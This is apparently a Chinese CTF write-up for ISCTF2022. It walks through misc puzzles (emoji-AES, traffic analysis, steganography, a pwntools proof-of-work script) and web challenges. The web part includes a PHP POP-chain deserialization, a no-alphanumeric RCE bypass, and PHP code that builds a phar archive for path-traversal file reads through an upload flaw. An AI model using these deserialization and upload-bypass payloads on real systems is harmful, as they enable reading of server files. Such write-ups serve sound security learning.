ISCTF2022WP

ISCTF2022改名叫套CTF吧(bushi),部落客菜雞一個,套題太多,挑一些題寫下wp,勿噴。

MISC

可愛的emoji

  下載下來是個加密壓縮包,根據hint掩碼爆破密碼

 

 

 得到密碼:KEYISAES

解壓得到表情包文本,一眼emoji-aes,進//aghorler.github.io/emoji-aes/,根據壓縮包密碼KEY IS AES猜出emoji密碼是AES

 

 

 Advanced改到9,解密得到flag

 

 

 

兩層編碼

  一開始寫腳本爆破過了第一關,後來的5秒交key屬實把我雷到了,根據hint學習了下pwntools,直接亮腳本吧(不懂pwntools的去學習下)

import hashlib
import random
import string
import base64
import re
import time
from pwn import *
def decode1(key, hashsha):
for i in range(100000000000000):
str_list = random.sample(string.digits+string.ascii_letters, 4)
random_str = ''.join(str_list)
print(random_str)
if hashlib.sha256((random_str+key).encode('utf-8')).hexdigest() == hashsha:
print(random_str)
return random_str
def decode2(code):
key = base64.b64decode(code)
return key.decode('utf-8')
def search(code):
pattern = '.*?key{(.*?)}.*?'
key = 'key{'+re.findall(pattern, code, re.S)[0]+'}'
return key
if __name__ == '__main__':
conn = remote('ip', port)
info1 = conn.recv(numb=2048)
print(info1)
time.sleep(3)
first = decode1(info1[16:32].decode('utf-8'), info1[37:101].decode('utf-8'))
conn.sendline(first.encode('utf-8'))
info2 = conn.recv(numb=4096)
info22 = conn.recv(numb=4096)
code1 = info2[42::1]
code2 = info22[:-21]
print(info2[42::1])
print(info2)
print(info22)
b64 = decode2(code2)
two = search(b64)
conn.sendline(two.encode('utf-8'))
info3 = conn.recv(numb=2048)
print(info3)
改一下ip和port,直接跑就能得到flag

手殘黨福利
這題很有意思,一開始第一關都跳不過(我手殘),下載下來是個iwanna,打開通過第一關,發現生成了一個save1文件,百度一下發現是存檔文件,這就有意思了,直接原樣cv save1,得到save2,save3,發現還有個temp文件,把temp文件的值改成3

 

 注意最好放在010(winhex)里改,繼續改save3

 

 改畫圈的位置,這裡是存檔的地方,具體原因請自行百度,改到47的樣子就到了最後一關,打開遊戲得到flag

 

 

醬紫亂

  mumuzi的題,確實有套那味了,下載下來是一個文件夾,打開看是一堆txt文件,每個txt文件是一個字元,想到根據文件名順序讀取文件得到數據

 

 拿到數據發現是base64,解密一下,得到雜亂的字元

 

 

發現字元大都都有重複項,猜測是字頻統計,寫個腳本跑一下,

 

 得到flag

 

捕風的魔女

  屬於是純粹的二次元題了,下載下來,得到兩張圖片flag1,flag2,這裡不做演示了,直接說了,flag1是魔女之旅的文字,百度一下就能搜到文字對照表。flag2是原神提瓦特文字(我去,有原_),同樣百度

 

Docker網路測試

  下載得到流量包,放wireshark里分析,過濾出tcp包,看了一下沒發現有隱藏文件和flag的東西,發現有UDP包,過濾一下,看UDP流

 

 

 在這發現flag,豎著讀取一下就行了

 

老色批了奧

  下載下來是張setu.png,老規矩先放010里看一下,啥也沒有,接下來binwalk,發現藏了個zip,直接foremost setu.png,得到zip,裡面居然是個假flag,fakeflag{DoneMaXX_XueLaiXX},出題人二次元濃度很高,

繼續搗鼓setu.png,zsteg沒看出問題來,直接丟stegsolve里

 

 發現問題了,這是個壓縮包,但每個位元組都是反過來的,Save Bin下來,寫個腳本給它恢復一下

把2.txt導入010,得到一個壓縮包,解壓下來得到flag

 

 

 

#########其餘的misc就不寫了

 

web

   web也挑點寫wp吧(主要是太多了懶得寫)

貓和老鼠

  

 

 

 一個經典的反序列化,主要是要繞過dog,先說下反序列化過程,利用mouse里的toString的include來文件包含,構造下pop鏈,cat::destruct —-> mouse::toString

toString的觸發條件是對象當作字元串來使用,當遇到echo,print_r,die之類的就是了,現在有個問題是dog會把$a給覆蓋掉,導致無法成功包含,這要利用php的引用符號&

 

 

 

 解密得到flag

 

rce

  很明顯無字母數字正則表達式繞過,直接用腳本

 

 

 

 具體的異或腳本可以百度,俺用的yu師傅的腳本(嗚嗚,我的yu師傅)

 

 upload

  一個文件上傳的題,把www.zip下載下來分析源碼,在class.php里發現這個

 

 這是個利用點,其它程式碼就是大概的上傳實現,校驗的,沒啥看點,看到這裡很明顯,這是個phar文件反序列化利用,phar文件會被當做php文件來解析,而且跟後綴沒有關係,所以生成的phar文件直接改成.jpg後綴就能繞過上傳檢測,這裡我本地環境有問題,生成不了phar文件,所以找的另一個師傅幫忙生成的,具體的phar文件構造可以去看y4爺的php反序列化總結,這裡記得指定filename=’php://filter/read=convert.base64-encode/resource=../../../../../../flag’

<?php
class upload{
    public $filename=”../../../../flag”;
}
$o = new upload();
@unlink(“shell.phar”);
$phar = new Phar(“shell.phar”); //後綴名必須為phar
$phar->startBuffering();
$phar->setStub(“<?php __HALT_COMPILER(); ?>”); //設置stub
$phar->setMetadata($o); //將自定義的meta-data存入manifest
$phar->addFromString(“test.txt”, “test”); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
?>

 

 

上傳phar協議解析,得到flag

 

Tags: